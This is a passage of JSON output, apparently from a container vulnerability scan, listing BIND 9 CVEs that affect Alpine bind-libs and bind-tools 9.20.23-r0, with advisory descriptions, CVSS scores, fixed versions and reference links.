"alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:1ad208e3501f9002c5ec5202ee942903da4ad764310dcc3c5f62786a4681a96a", "Title": "bind: BIND 9: Remote Denial of Service via cached SVCB/HTTPS AliasMode records", "Description": "If a BIND resolver has cached a tree of SVCB/HTTPS AliasMode records, and is then queried for the root of that tree, the resolver will spend disproportionate CPU time constructing the response.\nThis issue affects BIND 9 versions 9.18.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.18.11-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-1050" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75578", "https://access.redhat.com/security/cve/CVE-2026-81736", "https://bugzilla.redhat.com/2535432", "https://bugzilla.redhat.com/2535435", "https://bugzilla.redhat.com/2535461", "https://bugzilla.redhat.com/2535466", "https://bugzilla.redhat.com/2535477", "https://bugzilla.redhat.com/show_bug.cgi?id=2535432", "https://bugzilla.redhat.com/show_bug.cgi?id=2535435", "https://bugzilla.redhat.com/show_bug.cgi?id=2535461", "https://bugzilla.redhat.com/show_bug.cgi?id=2535466", "https://bugzilla.redhat.com/show_bug.cgi?id=2535477", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19666", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80274", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81736", "https://downloads.isc.org/isc/bind9/9.20.29", "https://downloads.isc.org/isc/bind9/9.21.26", "https://errata.almalinux.org/9/ALSA-2026-75578.html", "https://errata.rockylinux.org/RLSA-2026:75578", "https://kb.isc.org/docs/cve-2026-81736", "https://linux.oracle.com/cve/CVE-2026-81736.html", "https://linux.oracle.com/errata/ELSA-2026-75578.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-81736", "https://ubuntu.com/security/notices/USN-8929-1", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-81736" ], "PublishedDate": "2026-09-16T14:17:10.817Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-94300", "PkgID": "bind-libs@9.20.23-r0", "PkgName": "bind-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-libs@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "584c852dfc917f33" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.30-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-94300", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:e4e4eddc9169adde00af53783ce3d0a1ddd7fe7ec06da7783ab513fdfb99a3a1", "Title": "bind: bind: Arbitrary code execution via GSS-TSIG UDP message replay", "Description": "Replaying GSS-TSIG signed UDP messages can result in memory corruption in \"`named`\". An attacker who can capture a previously signed UDP message can replay it while the negotiated TSIG key is still valid. By also sending crafted queries to a zone the attacker controls, the attacker may potentially achieve remote code execution.\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-362", "CWE-415" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93610", "https://access.redhat.com/security/cve/CVE-2026-94300", "https://bugzilla.redhat.com/2556406", "https://bugzilla.redhat.com/2556407", "https://bugzilla.redhat.com/2556413", "https://bugzilla.redhat.com/2556415", "https://bugzilla.redhat.com/show_bug.cgi?id=2556406", "https://bugzilla.redhat.com/show_bug.cgi?id=2556407", "https://bugzilla.redhat.com/show_bug.cgi?id=2556413", "https://bugzilla.redhat.com/show_bug.cgi?id=2556415", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19630", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-94300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97313", "https://downloads.isc.org/isc/bind9/9.20.30", "https://downloads.isc.org/isc/bind9/9.21.27", "https://errata.almalinux.org/9/ALSA-2026-93610.html", "https://errata.rockylinux.org/RLSA-2026:93610", "https://kb.isc.org/docs/cve-2026-94300", "https://linux.oracle.com/cve/CVE-2026-94300.html", "https://linux.oracle.com/errata/ELSA-2026-94011.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-94300", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-94300" ], "PublishedDate": "2026-10-21T13:21:08.67Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-96888", "PkgID": "bind-libs@9.20.23-r0", "PkgName": "bind-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-libs@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "584c852dfc917f33" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.30-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96888", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:cf908b35f6d2d688797405f9a2bb029a51345d20a9c2ef75ce38d69cc94b9df9", "Title": "bind: bind: Denial of Service via assertion failure during redirect processing", "Description": "A BIND resolver that is configured with both a \"redirect\" zone and \"qname-minimization strict\" may abort with an assertion failure while processing the redirect.\nThis issue affects BIND 9 versions 9.16.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.16.8-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-476", "CWE-617" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93610", "https://access.redhat.com/security/cve/CVE-2026-96888", "https://bugzilla.redhat.com/2556406", "https://bugzilla.redhat.com/2556407", "https://bugzilla.redhat.com/2556413", "https://bugzilla.redhat.com/2556415", "https://bugzilla.redhat.com/show_bug.cgi?id=2556406", "https://bugzilla.redhat.com/show_bug.cgi?id=2556407", "https://bugzilla.redhat.com/show_bug.cgi?id=2556413", "https://bugzilla.redhat.com/show_bug.cgi?id=2556415", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19630", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-94300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97313", "https://downloads.isc.org/isc/bind9/9.20.30", "https://downloads.isc.org/isc/bind9/9.21.27", "https://errata.almalinux.org/9/ALSA-2026-93610.html", "https://errata.rockylinux.org/RLSA-2026:93610", "https://kb.isc.org/docs/cve-2026-96888", "https://linux.oracle.com/cve/CVE-2026-96888.html", "https://linux.oracle.com/errata/ELSA-2026-94011.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-96888", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-96888" ], "PublishedDate": "2026-10-21T13:21:08.84Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-97313", "PkgID": "bind-libs@9.20.23-r0", "PkgName": "bind-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-libs@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "584c852dfc917f33" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.30-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97313", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:c01e02f0934b16e74779faa5948eff69c529210d468263b5e39b9bfff568a1a2", "Title": "bind: bind: Denial of service via assertion failure in RPZ query processing", "Description": "A recursive BIND server that receives a query with recursion desired (RD=1) followed by a non-recursive query (RD=0) may exit with an assertion failure, resulting in a denial of service. To be vulnerable, the BIND server must allow recursive queries and have at least two RPZ zones configured: one with the default setting of \"recursive-only yes\", and the other with \"recursive-only no\".\nThis issue affects BIND 9 versions 9.16.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-617" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93610", "https://access.redhat.com/security/cve/CVE-2026-97313", "https://bugzilla.redhat.com/2556406", "https://bugzilla.redhat.com/2556407", "https://bugzilla.redhat.com/2556413", "https://bugzilla.redhat.com/2556415", "https://bugzilla.redhat.com/show_bug.cgi?id=2556406", "https://bugzilla.redhat.com/show_bug.cgi?id=2556407", "https://bugzilla.redhat.com/show_bug.cgi?id=2556413", "https://bugzilla.redhat.com/show_bug.cgi?id=2556415", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19630", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-94300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97313", "https://downloads.isc.org/isc/bind9/9.20.30", "https://downloads.isc.org/isc/bind9/9.21.27", "https://errata.almalinux.org/9/ALSA-2026-93610.html", "https://errata.rockylinux.org/RLSA-2026:93610", "https://kb.isc.org/docs/cve-2026-97313", "https://linux.oracle.com/cve/CVE-2026-97313.html", "https://linux.oracle.com/errata/ELSA-2026-94011.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97313", "https://ubuntu.com/security/notices/USN-8969-1", "https://www.cve.org/CVERecord?id=CVE-2026-97313" ], "PublishedDate": "2026-10-21T13:21:09.27Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-11331", "PkgID": "bind-tools@9.20.23-r0", "PkgName": "bind-tools", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-tools@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "25a5950e2cc88f2" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.26-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11331", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:c2e383b44ea9c67f66435332fe2da1dd1df0410017e67906750e21ac7ceab78c", "Title": "bind: bind: Denial of Service via long query names in RPZ processing", "Description": "An attacker who knows (or guesses) that a resolver uses RPZ with wildcard CNAME policies can craft query names long enough to trigger a NAMETOOLONG error condition during RPZ processing. This is not handled correctly and may lead to defeating the RPZ rule. It also may lead to an unexpected exit of the BIND 9 software.\nThis issue affects BIND 9 versions 9.16.0 through 9.18.50, 9.20.0 through 9.20.24, 9.21.0 through 9.21.23, 9.16.8-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.24-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-790" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55442", "https://access.redhat.com/security/cve/CVE-2026-11331", "https://bugzilla.redhat.com/2503721", "https://bugzilla.redhat.com/2504166", "https://bugzilla.redhat.com/2504298", "https://bugzilla.redhat.com/2504338", "https://bugzilla.redhat.com/2504447", "https://bugzilla.redhat.com/2504560", "https://bugzilla.redhat.com/show_bug.cgi?id=2503721", "https://bugzilla.redhat.com/show_bug.cgi?id=2504166", "https://bugzilla.redhat.com/show_bug.cgi?id=2504298", "https://bugzilla.redhat.com/show_bug.cgi?id=2504338", "https://bugzilla.redhat.com/show_bug.cgi?id=2504447", "https://bugzilla.redhat.com/show_bug.cgi?id=2504560", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-10723", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11331", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11622", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11721", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13321", "https://downloads.isc.org/isc/bind9/9.20.26", "https://downloads.isc.org/isc/bind9/9.21.24", "https://errata.almalinux.org/9/ALSA-2026-55442.html", "https://errata.rockylinux.org/RLSA-2026:55442", "https://kb.isc.org/docs/cve-2026-11331", "https://linux.oracle.com/cve/CVE-2026-11331.html", "https://linux.oracle.com/errata/ELSA-2026-55442.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-11331", "https://ubuntu.com/security/notices/USN-8648-1", "https://ubuntu.com/security/notices/USN-8929-1", "https://www.cve.org/CVERecord?id=CVE-2026-11331" ], "PublishedDate": "2026-07-22T15:16:51.457Z", "LastModifiedDate": "2026-11-02T17:45:23.23Z" }, { "VulnerabilityID": "CVE-2026-11605", "PkgID": "bind-tools@9.20.23-r0", "PkgName": "bind-tools", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-tools@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "25a5950e2cc88f2" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.26-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11605", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:eb78666ec6c43710170e203e614c140b91281dfce68f8956e65085f6907baa48", "Title": "bind: bind9: Unnecessary validation of DNSSEC signed records", "Description": "The issue is a resource exhaustion vulnerability associated with DNSSEC validation. BIND always validates all RRSIG records in an answer, even if they are not strictly needed. A query to an authoritative server/zone which returns many valid but superfluous RRSIG records causes the validator to waste disproportionate CPU time.\nThis issue affects BIND 9 versions 9.20.0 through 9.20.24, 9.21.0 through 9.21.23, and 9.20.9-S1 through 9.20.24-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-408" ], "VendorSeverity": { "azure": 2, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-11605", "https://downloads.isc.org/isc/bind9/9.20.26", "https://downloads.isc.org/isc/bind9/9.21.24", "https://kb.isc.org/docs/cve-2026-11605", "https://nvd.nist.gov/vuln/detail/CVE-2026-11605", "https://ubuntu.com/security/notices/USN-8648-1", "https://www.cve.org/CVERecord?id=CVE-2026-11605" ], "PublishedDate": "2026-07-22T15:16:51.573Z", "LastModifiedDate": "2026-11-02T17:44:08.623Z" }, { "VulnerabilityID": "CVE-2026-11622", "PkgID": "bind-tools@9.20.23-r0", "PkgName": "bind-tools", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-tools@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "25a5950e2cc88f2" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.26-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11622", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:a4f46c6a6d9a819aac393e059889588839c1d13a571450b8918e733603999ef0", "Title": "bind: bind9: Potential memory usage beyond configured limits", "Description": "A DNSSEC validating resolver that is under a random subdomain attack against a DNSSEC-signed zone can suffer from runaway memory usage. The attacker needs to be able to send queries faster than the resolver can perform validation. The increased memory usage can be orders of magnitude beyond the limit configured in the `max-cache-size` parameter.\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.24, 9.21.0 through 9.21.23, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.24-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55442", "https://access.redhat.com/security/cve/CVE-2026-11622", "https://bugzilla.redhat.com/2503721", "https://bugzilla.redhat.com/2504166", "https://bugzilla.redhat.com/2504298", "https://bugzilla.redhat.com/2504338", "https://bugzilla.redhat.com/2504447", "https://bugzilla.redhat.com/2504560", "https://bugzilla.redhat.com/show_bug.cgi?id=2503721", "https://bugzilla.redhat.com/show_bug.cgi?id=2504166", "https://bugzilla.redhat.com/show_bug.cgi?id=2504298", "https://bugzilla.redhat.com/show_bug.cgi?id=2504338", "https://bugzilla.redhat.com/show_bug.cgi?id=2504447", "https://bugzilla.redhat.com/show_bug.cgi?id=2504560", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-10723", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11331", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11622", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11721", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13321", "https://downloads.isc.org/isc/bind9/9.20.26", "https://downloads.isc.org/isc/bind9/9.21.24", "https://errata.almalinux.org/9/ALSA-2026-55442.html", "https://errata.rockylinux.org/RLSA-2026:55442", "https://kb.isc.org/docs/cve-2026-11622", "https://linux.oracle.com/cve/CVE-2026-11622.html", "https://linux.oracle.com/errata/ELSA-2026-55442.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-11622", "https://ubuntu.com/security/notices/USN-8648-1", "https://ubuntu.com/security/notices/USN-8929-1", "https://www.cve.org/CVERecord?id=CVE-2026-11622" ], "PublishedDate": "2026-07-22T15:16:51.703Z", "LastModifiedDate": "2026-11-02T17:42:50.153Z" }, { "VulnerabilityID": "CVE-2026-11721", "PkgID": "bind-tools@9.20.23-r0", "PkgName": "bind-tools", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-tools@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "25a5950e2cc88f2" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.26-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11721", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:d4a6ae4bb6f9b1ea05d912c0f3dd22c00e062da5b93bf7a9905b63a3ab0b9dc2", "Title": "bind: bind9: Cache poisoning via label count discrepancy, RRSIG, wildcards", "Description": "It is possible for an attacker's zone to respond to a query with an RRSIG that has a smaller number of labels than the zone in which the RRSIG is contained. This causes `named` to produce a wildcard name for a zone that is shorter than the attacker's zone, which can result in cache poisoning. For this attack to have any effect, the resolver under attack must have set `synth-from-dnssec yes;` (which is the default).\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.24, 9.21.0 through 9.21.23, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.24-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-1284" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55442", "https://access.redhat.com/security/cve/CVE-2026-11721", "https://bugzilla.redhat.com/2503721", "https://bugzilla.redhat.com/2504166", "https://bugzilla.redhat.com/2504298", "https://bugzilla.redhat.com/2504338", "https://bugzilla.redhat.com/2504447", "https://bugzilla.redhat.com/2504560", "https://bugzilla.redhat.com/show_bug.cgi?id=2503721", "https://bugzilla.redhat.com/show_bug.cgi?id=2504166", "https://bugzilla.redhat.com/show_bug.cgi?id=2504298", "https://bugzilla.redhat.com/show_bug.cgi?id=2504338", "https://bugzilla.redhat.com/show_bug.cgi?id=2504447", "https://bugzilla.redhat.com/show_bug.cgi?id=2504560", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-10723", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11331", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11622", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11721", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13321", "https://downloads.isc.org/isc/bind9/9.20.26", "https://downloads.isc.org/isc/bind9/9.21.24", "https://errata.almalinux.org/9/ALSA-2026-55442.html", "https://errata.rockylinux.org/RLSA-2026:55442", "https://kb.isc.org/docs/cve-2026-11721", "https://linux.oracle.com/cve/CVE-2026-11721.html", "https://linux.oracle.com/errata/ELSA-2026-55442.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-11721", "https://ubuntu.com/security/notices/USN-8648-1", "https://ubuntu.com/security/notices/USN-8929-1", "https://www.cve.org/CVERecord?id=CVE-2026-11721" ], "PublishedDate": "2026-07-22T15:16:51.837Z", "LastModifiedDate": "2026-11-02T17:40:42.15Z" }, { "VulnerabilityID": "CVE-2026-12617", "PkgID": "bind-tools@9.20.23-r0", "PkgName": "bind-tools", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-tools@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "25a5950e2cc88f2" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.26-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-12617", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:cd2792a8e9ec6028fbdea883f712fb0b615fa3dbbb8e719389a6f2c55b69855d", "Title": "bind: bind9: Record ordering based unexpected exit with CNAME or DNAME", "Description": "The issue is unexpected program termination based on ordering and/or specific content in responses to queries for CNAME or DNAME, and A records. Specifically, if a client queries for a DNAME and A record below the DNAME to the resolver, and the authoritative server responds positively to the A query but delays the DNAME response and later responds negatively, `named` may quit unexpectedly. Or, if a client queries for a CNAME and A record for the same name to the resolver, and the authoritative server responds positively to the A query but delays the CNAME response and later responds with a self-referential CNAME, the same failure may occur.\nThis issue affects BIND 9 versions 9.18.0 through 9.18.50, 9.20.0 through 9.20.24, 9.18.11-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.24-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-617" ], "VendorSeverity": { "amazon": 3, "azure": 2, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-12617", "https://downloads.isc.org/isc/bind9/9.20.26", "https://kb.isc.org/docs/cve-2026-12617", "https://nvd.nist.gov/vuln/detail/CVE-2026-12617", "https://ubuntu.com/security/notices/USN-8648-1", "https://www.cve.org/CVERecord?id=CVE-2026-12617" ], "PublishedDate": "2026-07-22T15:16:51.963Z", "LastModifiedDate": "2026-11-02T16:28:17.337Z" }, { "VulnerabilityID": "CVE-2026-13204", "PkgID": "bind-tools@9.20.23-r0", "PkgName": "bind-tools", "PkgIdentifier": { "PURL": "pkg:apk/alpine/bind-tools@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "25a5950e2cc88f2" }, "InstalledVersion": "9.20.23-r0", "FixedVersion": "9.20.26-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-13204", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:376d1286856f247f8784c645fd282e4c5a6fa3de9d1717655b1a6d6f02f06ed5", "Title": "bind: bind9: Unexpected exit with NSEC and NSEC3 both present", "Description": "If a provably insecure domain is covered by both an NSEC and NSEC3 record at the parent, and there exist an RRSIG for only one of these types, then BIND may exit unexpectedly with an assertion while validating this proof.\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.24, 9.21.0 through 9.21.23, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.24-S1.", "Severity": "HIGH", "CweIDs": [ "CWE-617" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55442", "https://access.redhat.com/security/cve/CVE-2026-13204", "https://bugzilla.redhat.com/2503721", "https://bugzilla.redhat.com/2504166", "https://bugzilla.redhat.com/2504298", "https://bugzilla.redhat.com/2504338", "https://bugzilla.redhat.com/2504447", "https://bugzilla.redhat.com/2504560", "https://bugzilla.redhat.com/show_bug.cgi?id=2503721", "https://bugzilla.redhat.com/show_bug.cgi?id=2504166", "https://bugzilla.redhat.com/show_bug.cgi?id=2504298", "https://bugzilla.redhat.com/show_bug.cgi?id=2504338", "https://bugzilla.redhat.com/show_bug.cgi?id=2504447", "https://bugzilla.redhat.com/show_bug.cgi?id=2504560", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-10723", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11331", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11622", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11721", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13321", "https://downloads.isc.org/isc/bind9/9.20.26", "https://downloads.isc.org/isc/bind9/9.21.24", "https://errata.almalinux.org/9/ALSA-2026-55442.html", 